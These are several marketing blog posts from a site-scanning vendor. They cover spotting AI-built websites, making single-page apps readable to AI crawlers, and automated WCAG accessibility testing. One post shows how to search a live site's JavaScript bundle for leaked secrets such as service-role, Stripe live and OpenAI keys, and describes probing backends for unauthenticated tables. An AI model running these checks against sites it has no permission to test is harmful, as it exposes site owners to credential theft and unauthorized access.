*Seven signals that reveal whether a website was built with AI coding tools, plus the exact browser and DNS checks to confirm each one.*

Published: 2026-08-07 | Reading time: 9 min read
URL: https://checkvibe.dev/blog/how-to-tell-if-a-website-is-vibe-coded


**The fastest way to tell if a website is vibe coded: check the URL for a default platform subdomain like `.lovable.app` or `.vercel.app`, view the page source for an unchanged template title such as `Vite + React`, and check the response headers for missing security headers. Three checks, under a minute.**

None of those signals is proof on its own. Vibe coding — building software by describing it to an AI assistant rather than writing every line — leaves fingerprints, but plenty of hand-written sites sit on Vercel with a default favicon, and plenty of AI-assisted codebases have been reviewed line by line before shipping. What you are really detecting is a *pattern*: polished product surface, zero production hardening underneath.

Here are the seven signals, ordered from fastest to most conclusive, with the exact check for each.

## The 7 Signals

### 1. Hosting Fingerprints

The single fastest tell is the domain itself. AI app builders deploy to a default subdomain, and a large share of projects never move off it.

Watch for:

- `*.lovable.app` — Lovable
- `*.vercel.app` — Vercel (the default target for v0, Cursor, and most Next.js output)
- `*.netlify.app` — Netlify
- `*.replit.app` / `*.repl.co` — Replit
- `*.bolt.host` — Bolt
- `*.web.app` / `*.firebaseapp.com` — Firebase Hosting
- `*.pages.dev` — Cloudflare Pages

**How to check:** look at the URL bar. If the site sits on a custom domain, resolve where it actually points:

```bash
dig +short CNAME app.example.com
# cname.vercel-dns.com.          -> Vercel
# apex-loadbalancer.netlify.com. -> Netlify
```

Response headers work too, and they survive custom domains:

```bash
curl -sI https://example.com | grep -iE 'server|x-vercel|x-nf-request-id|x-powered-by'
```

A custom domain that CNAMEs to a builder platform is a strong hint. A custom domain on a generic CDN tells you nothing either way.

### 2. Platform Badges and Template Defaults

Builder platforms brand their free output, and template metadata is the last thing anyone remembers to change.

Look for a floating "Edit with Lovable" badge, a "Made in Bolt" chip, or a Replit ribbon — usually pinned bottom-right. Then check the details nobody edits:

- The `<title>` still reads `Vite + React`, `Create Next App`, or `My App`
- The favicon is the framework's own — Vite's lightning bolt, Next.js's triangle, or the generic React atom
- `og:image` is missing entirely, so link previews render as a blank card
- The meta description is the scaffold's placeholder text

**How to check:** press `Cmd+Option+U` (macOS) or `Ctrl+U` (Windows/Linux) to view source, then search the raw HTML for `title`, `og:image`, `lovable`, and `bolt`. A production-grade site has a written title, a real description, and a custom OG image. A vibe-coded one usually has at most one of the three.

### 3. Bundle and Source Signals

The JavaScript bundle carries the build toolchain's signature.

**How to check**, step by step:

1. Open DevTools (`F12` or `Cmd+Option+I`)
2. Go to the **Network** tab and reload the page
3. Filter to **JS**

Then read the filenames. Vite ships hashed chunks like `assets/index-a1b2c3d4.js`. Next.js serves everything under `/_next/static/chunks/`. Create React App uses `static/js/main.<hash>.js`. Unchanged defaults mean nobody customized the build.

Next, search the loaded source:

1. Open the **Sources** tab
2. Press `Cmd+Option+F` / `Ctrl+Shift+F` to search across all loaded files
3. Search for `supabase.co`, `firebaseio.com`, and `apiKey`

Finding a Supabase project URL and an anon key in the bundle is normal and expected — the anon key is designed to be public, and Row Level Security is what actually protects the data. What it tells you is the stack. The genuinely alarming variants are a `service_role` key, a `sk_live_` Stripe key, or an OpenAI key in client-side JavaScript, all of which show up in AI-generated code far more often than they should. In the DOM itself, wall-to-wall Tailwind utility classes on every element is another builder-default tell.

### 4. AI Copy Patterns

Read the page as a reader, not a developer. AI-drafted marketing sites converge on a recognizable shape:

- A hero headline built from an abstract verb plus a buzzword: "Transform your workflow with AI-powered insights"
- Em-dash-heavy body copy with a consistent rhythm and no specifics
- The same section order every time: hero, three feature cards with matching icons, a testimonial row, pricing, closing CTA
- Testimonials from invented people with placeholder-service avatars
- Leftover `lorem ipsum`, "John Doe", or "Company Name" in a footer or secondary page

This is the weakest signal here. Human marketers have shipped from the same template for a decade, and good writers use em dashes. Treat it as corroboration, never as evidence on its own.

### 5. Missing Production Basics

This is where the pattern gets diagnostic. AI assistants generate features because features are what you asked for. They do not generate the invisible operational layer you did not ask for.

**Security headers.** In DevTools, open the **Network** tab, click the top-level document request, and read **Response Headers**. Check for `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`, `X-Frame-Options`, and `Referrer-Policy`. All five missing on a live product is a meaningful signal. `securityheaders.com` gives the same answer with a letter grade, or from a terminal:

```bash
curl -sI https://example.com | grep -iE 'content-security-policy|strict-transport|x-frame-options'
```

**Default 404.** Visit a URL that cannot exist — `example.com/definitely-not-a-real-page`. A branded 404 means someone thought about it. Vercel's stock "404: NOT_FOUND" page or a blank white screen means nobody did.

**Crawl files.** Fetch `example.com/robots.txt` and `example.com/sitemap.xml`. Missing or scaffold-default versions of both are routine on AI-generated sites, which is also why so many of them are invisible to search and AI answer engines.

One boundary worth respecting: passive checks on public pages are fine. Actively probing for `/.env` or config files on a site you do not own or have written permission to test can cross into unauthorized access. Keep the aggressive checks for your own properties.

### 6. Commit-to-Ship Speed

A fully-featured product on a domain registered days ago is a timeline that used to be impossible.

**How to check:**

```bash
whois example.com | grep -i 'creation date'
```

Cross-reference two free sources: `crt.sh` shows the first TLS certificate issued for the domain, and the Wayback Machine shows the first crawled snapshot. A domain created last week, fronting a dashboard with auth, billing, and six feature pages, did not go through a traditional build cycle.

The caveat matters here: rebrands, domain migrations, and staging-to-production moves all produce young domains for old products. Use this to raise or lower confidence, not to conclude.

### 7. The Definitive Check — Scan It

Individually, every signal above has an innocent explanation. What does not have an innocent explanation is the *combination*, and a security scan is what surfaces it in one pass.

The characteristic vibe-code gap profile looks like this:

- Secrets or privileged keys reachable from the client bundle
- A Supabase or Firebase backend with tables readable without authentication — RLS never enabled, or rules left at `allow read, write: if true`
- No security headers at all
- No rate limiting on auth or form endpoints
- Permissive CORS, wide open to any origin
- Cookies without `HttpOnly`, `Secure`, or `SameSite`

Any one of those appears on hand-written sites. All of them at once, on a product that looks finished, is the fingerprint of code that shipped without a review pass. We break down why AI assistants produce each of these defaults in [Vibe Coding Security Risks](/blog/vibe-coding-security-risks).

## What These Signals Actually Prove

Not much, individually — and that is the honest framing.

A `.vercel.app` URL proves someone used Vercel. A missing CSP proves nobody configured one. Neither proves an AI wrote the code, and neither means the site is bad. Vibe coding is a legitimate, extremely productive way to build — plenty of strong products were drafted by an assistant and then hardened properly.

The risk is not AI-generated code. The risk is **unreviewed** AI-generated code reaching production. That distinction is the whole point of this list: signals 1 through 6 tell you *how* something was probably built, and signal 7 tells you whether it matters. A vibe-coded site with security headers, RLS enabled, and no keys in the bundle is fine. A hand-written site missing all three is not.

If the site in question is yours, the useful next step is not detection — it is [hardening it](/blog/how-to-secure-vibe-coded-app).

## How CheckVibe Helps

CheckVibe's [vibe coding security scanner](/vibe-coding-security-scanner) runs the signal-7 checks from the outside, the same way an attacker would, and reports the gap pattern in one place:

- **Exposed keys and secrets** — scans the client bundle for API keys, service-role tokens, and credentials that should never leave the server
- **Open backends** — probes Supabase and Firebase endpoints for tables and buckets that answer unauthenticated requests
- **Security headers** — checks every header a production site should send, with the exact config to add
- **Platform and stack detection** — identifies the hosting platform, framework, and backend so you know what you are actually looking at
- **SEO and AEO basics** — flags the missing `robots.txt`, sitemap, and metadata that keep AI-generated sites invisible to search engines

Each finding comes with a severity rating and a remediation step you can hand straight to your editor.

[Run a free scan](https://checkvibe.dev) to see what a site exposes — results in under 60 seconds.

## FAQ

### Can you always tell if a site was vibe coded?

No. The signals in this guide are probabilistic, not definitive. A developer who moves off the default subdomain, replaces the favicon and title, writes original copy, and configures security headers leaves almost nothing detectable from the outside. Conversely, a hand-written site on `vercel.app` with a stock 404 will trip several checks. Treat the signals as confidence adjusters that stack, and never conclude from one alone.

### Is a vibe coded website less secure?

Not inherently — but unreviewed AI output usually is. AI assistants optimize for working code, so they ship the defaults that reduce friction: wildcard CORS, no rate limiting, secrets in client code, database rules left wide open. None of that is caused by the AI being careless; it is caused by nobody asking for the security layer. A vibe-coded site that has been scanned and hardened is as secure as any other.

### What is the fastest way to check if a site is vibe coded?

Look at the URL, then view the page source. A default platform subdomain such as `.lovable.app` or `.vercel.app`, combined with an unchanged template `<title>` or a builder badge in the corner, gets you a confident answer in about thirty seconds. If you need certainty rather than a guess, run a security scan and look for the gap pattern: exposed keys, an open backend, and missing security headers together.


---

## AEO for Vibe-Coded Apps: Why AI-Built Sites Are Invisible to AI (and How to Fix It)

*AEO for vibe-coded apps means making AI-generated sites readable and citable. Why they are disproportionately invisible — and the exact fixes.*

Published: 2026-06-12 | Reading time: 6 min read
URL: https://checkvibe.dev/blog/aeo-for-vibe-coded-apps


**AEO for vibe-coded apps is the practice of making AI-generated websites readable, quotable, and citable by AI answer engines like ChatGPT, Claude, and Perplexity.** It matters because vibe-coded apps are disproportionately invisible to those engines: the same AI tools that build your app ship it in a form AI crawlers cannot read.

There's a real irony here, and it's worth sitting with: **apps built *by* AI are the apps least visible *to* AI.**

**TL;DR**

- AI crawlers (GPTBot, ClaudeBot, PerplexityBot) don't execute JavaScript at scale — a client-rendered SPA serves them an empty HTML shell.
- Lovable, Bolt, and most AI builders default to exactly that architecture, so vibe-coded apps start invisible.
- The fix stack, in order: server-rendered or prerendered HTML → AI-crawler-friendly robots.txt → llms.txt → JSON-LD structured data → answer-first content.
- Verify instead of hoping: an [AEO scan](/products/seo-aeo) tests your site the way each engine's crawler does and scores readiness per engine.

## Why are vibe-coded apps invisible to AI engines?

If you ask "what is AEO" in general, [we have a full primer](/blog/what-is-aeo-answer-engine-optimization). This post is about the specific, structural problem with AI-built apps. Four defaults conspire against you:

### 1. Client-only rendering

Lovable and Bolt scaffold Vite/React single-page applications. The HTML document those apps serve is essentially:

```html
<!doctype html>
<html>
  <head><title>My App</title></head>
  <body>
    <div id="root"></div>
    <script src="/assets/index-a1b2c3.js"></script>
  </body>
</html>
```

Everything users see is assembled by JavaScript in the browser. But AI crawlers fetch pages the cheap way — HTTP request, parse the HTML, move on. **GPTBot, ClaudeBot, and PerplexityBot do not run your JavaScript.** What they index is the empty shell above. Your content, for their purposes, does not exist.

### 2. No crawler signals

AI builders don't generate robots.txt entries for AI crawlers, don't create sitemaps for multi-route SPAs, and have never heard of llms.txt. The engines that *would* cite you can't even find the front door.

### 3. No structured data

Schema.org JSON-LD is how engines resolve *what your product is* — name, category, pricing, FAQs. AI-generated apps ship none of it unless you explicitly prompt for it.

### 4. Vibe-shaped content

AI builders write interface copy, not answers. AI engines lift short, self-contained, factual passages. A hero that says "Supercharge your workflow ✨" gives an answer engine nothing to quote.

## What does AEO actually require for a vibe-coded app?

Work through these five layers in order — each one depends on the previous.

### Layer 1: Serve real HTML to crawlers

This is the hard prerequisite. Options by situation:

- **Next.js (v0 output, or anything App Router):** you already server-render. Done.
- **Vite/React SPA (Lovable, Bolt):** add prerendering — generate static HTML per route at build time (`vite-plugin-prerender` and similar), or put a prerendering proxy in front for bot user-agents.
- **Migration is sometimes cheapest:** if your app is mostly marketing pages plus an app shell, moving the public pages to a server-rendered framework and keeping the app client-side is often less work than retrofitting prerendering.

Test it the way a crawler experiences it:

```bash
curl -s https://yourapp.com | grep -i "your actual content"
```

If your content isn't in that response, no AI engine has ever read it.

### Layer 2: Open the door in robots.txt

Explicitly allow the AI crawlers and point at your sitemap:

```
User-agent: GPTBot
Allow: /

User-agent: OAI-SearchBot
Allow: /

User-agent: ClaudeBot
Allow: /

User-agent: PerplexityBot
Allow: /

User-agent: Google-Extended
Allow: /

Sitemap: https://yourapp.com/sitemap.xml
```

### Layer 3: Add llms.txt

A plain-text file at `/llms.txt` that tells AI engines what your product is, what it does, and where the important pages are. Think of it as a README for answer engines. Keep it factual and current — one consistent product description, your pricing, your key URLs.

### Layer 4: Structured data

Minimum viable JSON-LD for a product site: `Organization` + `WebSite` sitewide, `SoftwareApplication` (with offers) on the homepage, `FAQPage` wherever you answer questions. AI editors generate valid JSON-LD reliably when asked — then validate with Google's Rich Results Test.

### Layer 5: Answer-first content

Every public page should open with a direct answer (≤50 words) to the question the page targets, carry a visible FAQ, and show when it was last updated. Engines lift passages that are already shaped like answers.

## How do you verify any of this worked?

Don't guess — measure twice:

1. **Readability (can they read you?):** CheckVibe's [AEO scanner](/products/seo-aeo) runs 46 checks — crawler permissions, JavaScript-free extractability, llms.txt, schema depth — and scores readiness per engine across ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, and Mistral. Pair it with the 68-check SEO scan, because classic indexability still feeds several engines.
2. **Citations (do they cite you?):** ask the engines your target questions and watch for your domain ([here's the manual method](/blog/check-if-chatgpt-can-see-your-website)), or use a mention tracker — [we compared the honest options](/best/aeo-tools-for-vibe-coded-apps).

Readability comes first. Tracking mentions of a site engines can't read just measures zero with extra steps.

## FAQ

### What is AEO for vibe-coded apps?

It's Answer Engine Optimization applied to AI-generated apps: making a Lovable, Bolt, v0, or Cursor-built site technically readable (rendered HTML, crawler access, llms.txt, structured data) and content-wise quotable for AI answer engines, so ChatGPT, Claude, and Perplexity can cite it.

### Why are vibe-coded apps worse off than normal sites for AEO?

Because AI builders default to client-only rendering, which serves AI crawlers an empty HTML shell, and they generate none of the crawler signals (robots rules, sitemaps, llms.txt, schema) engines rely on. A WordPress site from 2015 is more AI-readable than most 2026 vibe-coded apps.

### Does fixing AEO hurt my regular SEO?

No — it's the same direction. Server-rendered HTML, structured data, fast pages, and answer-shaped content improve classic Google rankings and AI citability simultaneously. The work pays twice.

### How long until AI engines cite my site after fixing it?

Crawlers typically re-fetch within days to weeks; citation depends on whether your content actually answers questions people ask. Freshness signals (visible updated dates, accurate dateModified) and entity consistency speed up trust. Expect weeks, not hours — and verify with a re-scan immediately rather than waiting.

### Can I do AEO without rewriting my whole app?

Usually, yes. Prerendering public routes, adding robots.txt + llms.txt, and injecting JSON-LD are all additive changes. The only deep change is rendering architecture, and even that can be scoped to public pages while your app stays an SPA behind login.


---

## How to Rank a Vibe-Coded SPA in AI Search (ChatGPT, Perplexity, Claude)

*Client-only SPAs are invisible to AI crawlers. The exact steps to make a vibe-coded React app rank in ChatGPT, Perplexity and Claude.*

Published: 2026-06-12 | Reading time: 6 min read
URL: https://checkvibe.dev/blog/how-to-rank-vibe-coded-spa-in-ai-search


**To rank a vibe-coded SPA in AI search: serve real HTML to crawlers (SSR, SSG, or prerendering), allow AI bots in robots.txt, publish llms.txt, add JSON-LD structured data, restructure pages answer-first — then verify with an AEO scan.** The rendering fix comes first; without it, nothing else registers.

AI engines can't execute JavaScript at scale. Your single-page app assembles everything client-side. Those two facts are the entire problem — and every step below exists to route around them.

**TL;DR — the 6 steps**

1. Make crawlers receive rendered HTML (prerender or SSR your public routes).
2. Allow GPTBot, OAI-SearchBot, ClaudeBot, PerplexityBot, Google-Extended in robots.txt + reference your sitemap.
3. Publish `/llms.txt` describing your product in plain text.
4. Add JSON-LD: Organization, WebSite, SoftwareApplication, FAQPage.
5. Rewrite key pages answer-first: direct ≤50-word answers, FAQs, visible update dates.
6. Verify per engine with an [AEO scan](/products/seo-aeo) — then re-check monthly.

## Step 1: Why doesn't my SPA show up in AI search at all?

Run this and look at what comes back:

```bash
curl -s -A "GPTBot" https://yourapp.com
```

For a typical Lovable or Bolt app you'll see a `<div id="root"></div>` and a script tag. That's the *entire site* as far as ChatGPT, Claude, and Perplexity are concerned. They fetch HTML over HTTP and parse what's there; they do not boot a browser for your bundle.

Fix options, ranked by effort:

- **Prerender at build time** — for Vite SPAs, plugins like `vite-plugin-prerender` walk your routes and emit static HTML per route. Best effort-to-impact ratio for marketing pages.
- **Prerendering proxy** — a service in front of your app renders pages headlessly and serves the snapshot to bot user-agents. No app changes, ongoing dependency.
- **Move public pages to SSR** — Next.js/Remix/SvelteKit for the pages you want cited (landing, pricing, docs, blog), SPA for the logged-in app. The clean long-term shape.

Whichever you choose, re-run the curl test. Your actual copy must appear in the raw response. This single step is the difference between "optimizing" and "existing."

## Step 2: Which crawlers should robots.txt allow?

The big engines crawl with named user-agents. Allow them explicitly and point at your sitemap:

```
User-agent: GPTBot
Allow: /

User-agent: OAI-SearchBot
Allow: /

User-agent: ClaudeBot
Allow: /

User-agent: PerplexityBot
Allow: /

User-agent: Google-Extended
Allow: /

User-agent: Bingbot
Allow: /

Sitemap: https://yourapp.com/sitemap.xml
```

Two notes vibe coders hit constantly: hosting templates and "bot protection" presets sometimes block these bots at the WAF/CDN layer even when robots.txt allows them (check your Cloudflare/Vercel settings), and an SPA usually has no sitemap at all — generate one listing every public route.

## Step 3: What is llms.txt and do I need it?

`/llms.txt` is a plain-text map written for AI engines: what your product is, what it does, key pages, pricing. It costs twenty minutes and removes every ambiguity about your entity:

```
# YourApp

> One-sentence factual description of what YourApp does and who it's for.

## Key pages
- Pricing: https://yourapp.com/pricing
- Docs: https://yourapp.com/docs

## Pricing
- Free: ...
- Pro ($X/month): ...
```

Keep it synchronized with reality — engines that read a stale llms.txt will repeat stale facts to your prospects.

## Step 4: Which schema matters for AI search?

JSON-LD tells engines what they're looking at without inference. The minimum set for a product SPA:

- `Organization` + `WebSite` — sitewide, in the document head, ideally as one linked `@graph`.
- `SoftwareApplication` with `offers` — homepage and product pages: your name, category, and prices become machine-checkable facts.
- `FAQPage` — every page with a Q&A block. AI engines lift these wholesale.

Your AI editor will generate all of this correctly from one prompt; validate the output with Google's Rich Results Test.

## Step 5: What content do AI engines actually cite?

Engines compose answers from passages that already look like answers:

- **Open with the answer.** First paragraph, ≤50 words, directly resolving the page's question. Then elaborate.
- **Phrase H2s as questions** — the questions users actually type.
- **Add a real FAQ** (3–6 questions) wired to FAQPage schema.
- **Show freshness**: a visible "Updated June 2026" plus accurate `dateModified` in schema.
- **Tables for comparisons** — semantic HTML tables, not styled divs; engines parse them into facts.

One page that answers one question completely beats five pages of brand copy.

## Step 6: How do I know it worked?

Test, don't vibe:

1. **Scan readability**: a [free CheckVibe scan](/) runs 46 AEO checks — crawler access, JS-free extractability, llms.txt, schema depth — and shows per-engine readiness for ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, and Mistral, alongside 68 classic SEO checks.
2. **Ask the engines**: query ChatGPT/Perplexity with the questions your pages target and watch for your domain in citations — [full method here](/blog/check-if-chatgpt-can-see-your-website).
3. **Re-scan after every significant deploy.** SPAs regress easily — one refactor can silently restore the empty shell.

For continuous mention-tracking once readability passes, see the [best AEO tools comparison](/best/aeo-tools-for-vibe-coded-apps).

## FAQ

### Can a pure client-side SPA rank in AI search without prerendering?

Effectively no. AI crawlers parse served HTML; if your content only exists after JavaScript runs, they index an empty shell. Prerendering, SSG, or SSR for public routes is the non-negotiable first step.

### Do AI engines use Google's index or their own crawlers?

Both exist in the wild: ChatGPT Search and Claude use their own fetchers (GPTBot/OAI-SearchBot, ClaudeBot), Perplexity runs PerplexityBot, and several engines also lean on Bing's index — which is why allowing Bingbot and submitting your sitemap to Bing still matters for AI visibility.

### How is ranking in AI search different from ranking in Google?

Google ranks pages; answer engines cite sources inside a composed answer. Citation favors machine-readable, answer-shaped, factually-consistent content over backlink authority alone — which is why a small site that's perfectly readable can out-cite a big site that isn't.

### How often should I re-check AI readability?

After every significant deploy, and monthly at minimum. Client-side regressions are silent: the page looks identical in your browser while serving an empty shell to crawlers. Automated re-scans catch what eyeballs can't.


---

## Why Don't AI Engines Find My Lovable Site? (Diagnosis + Fixes)

*ChatGPT, Claude and Perplexity can't read most Lovable sites — they ship client-rendered React. The 60-second diagnosis, then the exact fixes.*

Published: 2026-06-12 | Reading time: 6 min read
URL: https://checkvibe.dev/blog/why-ai-engines-cant-find-your-lovable-site


**AI engines can't find your Lovable site because Lovable publishes client-rendered React apps: crawlers like GPTBot, ClaudeBot, and PerplexityBot receive a nearly empty HTML shell, not your content.** The fixes: serve prerendered HTML on public routes, allow AI crawlers in robots.txt, add llms.txt and structured data — then verify with a scan.

You built something good. People who see it like it. But ask ChatGPT about your product category and you're never in the answer — while sites far worse than yours get cited. This is almost never a quality judgment. It's a rendering problem, and it's diagnosable in 60 seconds.

**TL;DR**

- Lovable apps render in the browser; AI crawlers don't run JavaScript — they index the empty shell Lovable serves.
- Diagnose with one command: `curl -s https://yoursite.lovable.app | grep "any phrase from your page"` — no match means no AI engine has ever read your content.
- Fix order: prerendered/server-rendered HTML → robots.txt allowing AI bots → llms.txt → JSON-LD → answer-first copy.
- Custom domain + consistent product description everywhere helps engines resolve you as an entity.
- Verify per engine with a [free AEO scan](/) instead of waiting and wondering.

## How do I confirm this is my problem?

Run the diagnosis against your live site (swap in a phrase that's visible on your homepage):

```bash
curl -s https://yoursite.com | grep -i "a phrase from your homepage"
```

No output? Then your content lives only in JavaScript. Every AI crawler that has ever visited got this instead:

```html
<body>
  <div id="root"></div>
  <script type="module" src="/assets/index-xxxx.js"></script>
</body>
```

That's what ChatGPT knows about you: nothing.

Three follow-up checks while you're at it:

1. **robots.txt** — `curl https://yoursite.com/robots.txt`. Missing file is survivable; a blanket `Disallow: /` (some templates ship one) is fatal.
2. **Sitemap** — does `https://yoursite.com/sitemap.xml` exist? Lovable doesn't generate one.
3. **WAF settings** — if you've enabled aggressive bot protection on Cloudflare or your host, AI crawlers may be blocked before robots.txt is even consulted.

## What exactly do I fix, in what order?

### 1. Serve real HTML on public routes

This is the fix that matters; everything else is decoration without it.

- **Prerender the public routes** of your Lovable app — landing, pricing, about, blog — so each serves complete static HTML. In Lovable, prompt it directly: *"Add build-time prerendering so all public routes serve full static HTML without JavaScript execution."*
- **Or split the site**: public pages on a server-rendered framework (Next.js on Vercel takes an afternoon), the Lovable app behind login where crawlers don't matter.
- Re-run the curl test after deploying. Content in the response = fixed.

### 2. Open robots.txt to AI crawlers

Add a `public/robots.txt` that explicitly allows GPTBot, OAI-SearchBot, ClaudeBot, PerplexityBot, Google-Extended, and Bingbot, and references your sitemap. ([Template in our SPA ranking guide.](/blog/how-to-rank-vibe-coded-spa-in-ai-search))

### 3. Add llms.txt

A plain-text `/llms.txt` describing what your product is, what it costs, and where the key pages are. Lovable will generate it from one prompt — just verify the facts before deploying, because engines will repeat whatever it says.

### 4. Add structured data

Organization + WebSite + SoftwareApplication JSON-LD (with your real pricing in `offers`), FAQPage on any page with questions. One Lovable prompt, then validate with Google's Rich Results Test.

### 5. Make the content quotable

AI engines lift self-contained answers. Open pages with a direct ≤50-word answer, use question-phrased headings, add a real FAQ, and show "Updated [month year]" visibly. "Supercharge your workflow ✨" is not citable; "X is a [category] that does [specific thing] for [audience], from $0" is.

### 6. Claim your entity

Use a custom domain (a `*.lovable.app` subdomain dilutes you), and one identical product description across your site, llms.txt, schema, and social profiles. Engines cite entities they can resolve confidently.

## What about my Supabase backend — does it affect AI visibility?

Indirectly, in two ways worth knowing. Content fetched client-side from Supabase after page load is invisible to crawlers even with prerendering — public content you want cited should be rendered into the HTML at build/request time. And while you're fixing visibility, check security too: most Lovable apps we scan have at least one Supabase table without Row Level Security, which is a much worse kind of "publicly readable." [The Lovable security + ranking guide covers both.](/secure/lovable)

## How do I verify each engine can now read me?

A [free CheckVibe scan](/) runs 46 AEO checks against your live site — crawler permissions, JavaScript-free extractability, llms.txt, schema depth — and returns a per-engine readiness matrix for ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, and Mistral, plus 68 SEO checks and a security audit in the same pass. Findings come as fix prompts you can paste straight back into Lovable.

Then close the loop from the demand side: [ask the engines directly](/blog/check-if-chatgpt-can-see-your-website) and consider a mention tracker once readability passes ([honest tool comparison here](/best/aeo-tools-for-vibe-coded-apps)).

## FAQ

### Why does ChatGPT say it can't access my Lovable site?

Either the content is client-rendered (the usual cause — crawlers get an empty shell), or a robots.txt/WAF rule blocks OpenAI's crawlers. The curl test distinguishes them: empty-but-200 response means rendering; a 403/blocked response means access rules.

### Does Lovable support server-side rendering?

Lovable publishes client-rendered React apps. You can prompt Lovable to add build-time prerendering for public routes, which produces static HTML crawlers can read — functionally equivalent for AEO purposes. Verify the result with curl rather than trusting the prompt succeeded.

### Will fixing AI visibility also fix my Google ranking?

Largely, yes. Google handles JavaScript better than AI crawlers but still rewards server-rendered HTML, structured data, and fast pages. Every fix in this post helps both; none hurts either.

### How long after fixing will ChatGPT cite my site?

Crawlers re-visit within days to weeks. Citation then depends on whether your pages answer questions people actually ask — that's the content layer. Re-scan immediately to confirm readability, then give the engines a few weeks while you improve answer-shaped content.

### Is this a Lovable-specific problem?

No — Bolt, and most AI app builders default to the same client-rendered architecture. Lovable sites just hit it most visibly because Lovable is so often used for public-facing products. [The general SPA fix guide is here.](/blog/how-to-rank-vibe-coded-spa-in-ai-search)


---

## Automated Accessibility Testing: What a WCAG Scan Catches (and What It Can't)

*The European Accessibility Act is enforced and most teams still ship unlabeled forms. What automated WCAG checks catch, what needs a human, where to start.*

Published: 2026-06-10 | Reading time: 15 min read
URL: https://checkvibe.dev/blog/automated-accessibility-testing-wcag


**Automated accessibility testing** uses tools like axe-core, Lighthouse, or Pa11y to check a rendered page against machine-verifiable WCAG rules — missing alt text, unlabeled inputs, low contrast, invalid ARIA — and report the offending element. It runs in CI or on a schedule, and per industry research catches roughly half of accessibility issues. The rest needs a human.

Around 16% of the world's population lives with a significant disability. Meanwhile WebAIM's annual survey of the top million homepages keeps finding the same thing: the overwhelming majority have detectable WCAG failures, and the typical homepage has dozens. The gap between "we care about accessibility" and "our signup form has labels" has never been wider — or more expensive.

Expensive, because the legal landscape moved. The **European Accessibility Act (EAA)** has applied since June 28, 2025: e-commerce and many digital services sold into the EU must be accessible, with member states attaching real fines. In the US, ADA lawsuits over inaccessible websites continue at thousands per year, and they disproportionately target small and mid-size businesses — the ones without an accessibility team.

This post is about the automation layer: what a scanner can genuinely catch, what it can't, and why "it's automated, so it's partial" is an argument for running it on every deploy rather than skipping it.

## What WCAG actually asks for

The Web Content Accessibility Guidelines (WCAG) 2.x organize requirements under four principles — content must be **perceivable, operable, understandable, and robust**. Conformance comes in levels; **Level AA** is the standard contracts, laws (including the EAA's underlying EN 301 549), and procurement checklists mean when they say "accessible."

In practice, AA translates into things like: every image conveys its information in text, every form field has a name, the page has a sane heading structure, keyboard users can reach and operate everything, nothing relies on color alone, and assistive technologies can parse the markup. None of this is exotic — most of it is HTML used the way HTML was designed.

### WCAG levels: A, AA, and AAA

Three conformance levels stack. **Level A** is the floor — the failures that make content outright unusable (no keyboard access, no alt text, autoplaying audio you can't stop). Nobody targets A on purpose; you pass it on the way to AA.

**Level AA is the target that matters.** It's what EN 301 549 (the European standard the EAA leans on) points at, what US ADA settlements and consent decrees routinely name, what Section 508 procurement requires, and what your enterprise customer's security questionnaire or VPAT will ask you to attest to. If a contract, law, or RFP says "accessible" without qualifying it, assume WCAG 2.1 (or 2.2) Level AA.

**Level AAA** adds stricter criteria — 7:1 contrast, sign-language interpretation for prerecorded audio, no more than three-word-per-line justification quirks. The W3C explicitly says AAA is not achievable for all content, so it isn't a sane site-wide goal. Cherry-pick AAA criteria where they're cheap (`7:1` contrast on body text costs nothing at design time) and target AA everywhere.

When you configure a tool, this maps directly to a tag filter: axe-core's `wcag2a`, `wcag2aa`, `wcag21aa` tags, or Pa11y's `WCAG2AA` standard. Pick AA and stop arguing about it.

## What automated checks reliably catch

Deque's research — the most-cited number in this space — found that automated testing can detect issues accounting for roughly 57% of accessibility problems. Call it "about half," and note that the half automation owns is the half that's objective, repeatable, and cheap to fix. That's the automation surface, and it covers the failures that are both most common and most embarrassing:

### Structure and semantics

- **Missing `lang` attribute** — screen readers guess the pronunciation language without it
- **Missing or multiple `<h1>`s, skipped heading levels** (`h2` → `h4`) — headings are how many screen reader users navigate a long page, so a broken outline breaks their primary wayfinding
- **No `<main>` landmark**, duplicate `id`s, invalid ARIA roles
- **`aria-hidden` on focusable elements** — keyboard focus lands on something screen readers are told doesn't exist
- **Data tables without header cells** (`<th>`/`scope`)

### Forms — the highest-stakes category

- **Inputs without labels** — the single most consequential common failure: an unlabeled email field reads as "edit text, blank" to a screen reader. WebAIM's annual survey finds missing form labels on a large share of the pages that have forms at all.
- **Missing `autocomplete` on identity fields** — WCAG 1.3.5; also what lets password managers and users with motor or cognitive disabilities fill forms reliably
- **Radio groups without `<fieldset>`/`<legend>`** — options with no audible question
- **`<label for>` pointing at nothing**, image buttons without alt text

### Navigation and focus

- **No skip-to-content link** — keyboard users tab through your entire nav on every page
- **Positive `tabindex`** — hijacks focus order in ways that are nearly impossible to maintain
- **Links with no accessible name** (icon-only anchors) and **"click here"/"read more" link text** — meaningless when screen readers list links out of context
- **Disabled pinch-zoom** (`user-scalable=no`) — overrides low-vision users' primary coping tool
- **Timed meta-refresh** redirects users mid-read

### Media and content

- **Image alt-text coverage** — the canonical check; aim for ≥90% of meaningful images
- **Untitled iframes**, image-map areas without alt
- **Autoplaying media with sound**, deprecated `<marquee>`/`<blink>`

Every one of these is detectable in raw HTML, deterministic, and fixable in minutes once named. That's the profile of a perfect CI/scanner check.

## What automated testing can and cannot catch

The split is not arbitrary. Automation owns the checks with a deterministic answer in the DOM; humans own everything that requires judgment about meaning, sequence, or experience.

| Automation catches reliably | Automation cannot judge |
| --- | --- |
| Missing or empty `alt` attributes | Whether the alt text actually describes the image |
| Contrast below 4.5:1 (in-browser tools, from computed styles) | Whether focus is *visible* against your real background |
| Invalid ARIA roles/attributes, `aria-hidden` on focusable nodes | Whether your custom combobox *behaves* like a combobox |
| Inputs with no accessible name | Whether the label wording means anything to a user |
| Missing `lang`, duplicate `id`, broken heading order | Whether heading order matches the visual reading order |
| Positive `tabindex`, missing skip link | Whether tab order through a flow is *sensible* |
| Autoplaying audio, untitled `<iframe>`s | Whether captions are accurate, or the page is cognitively navigable |

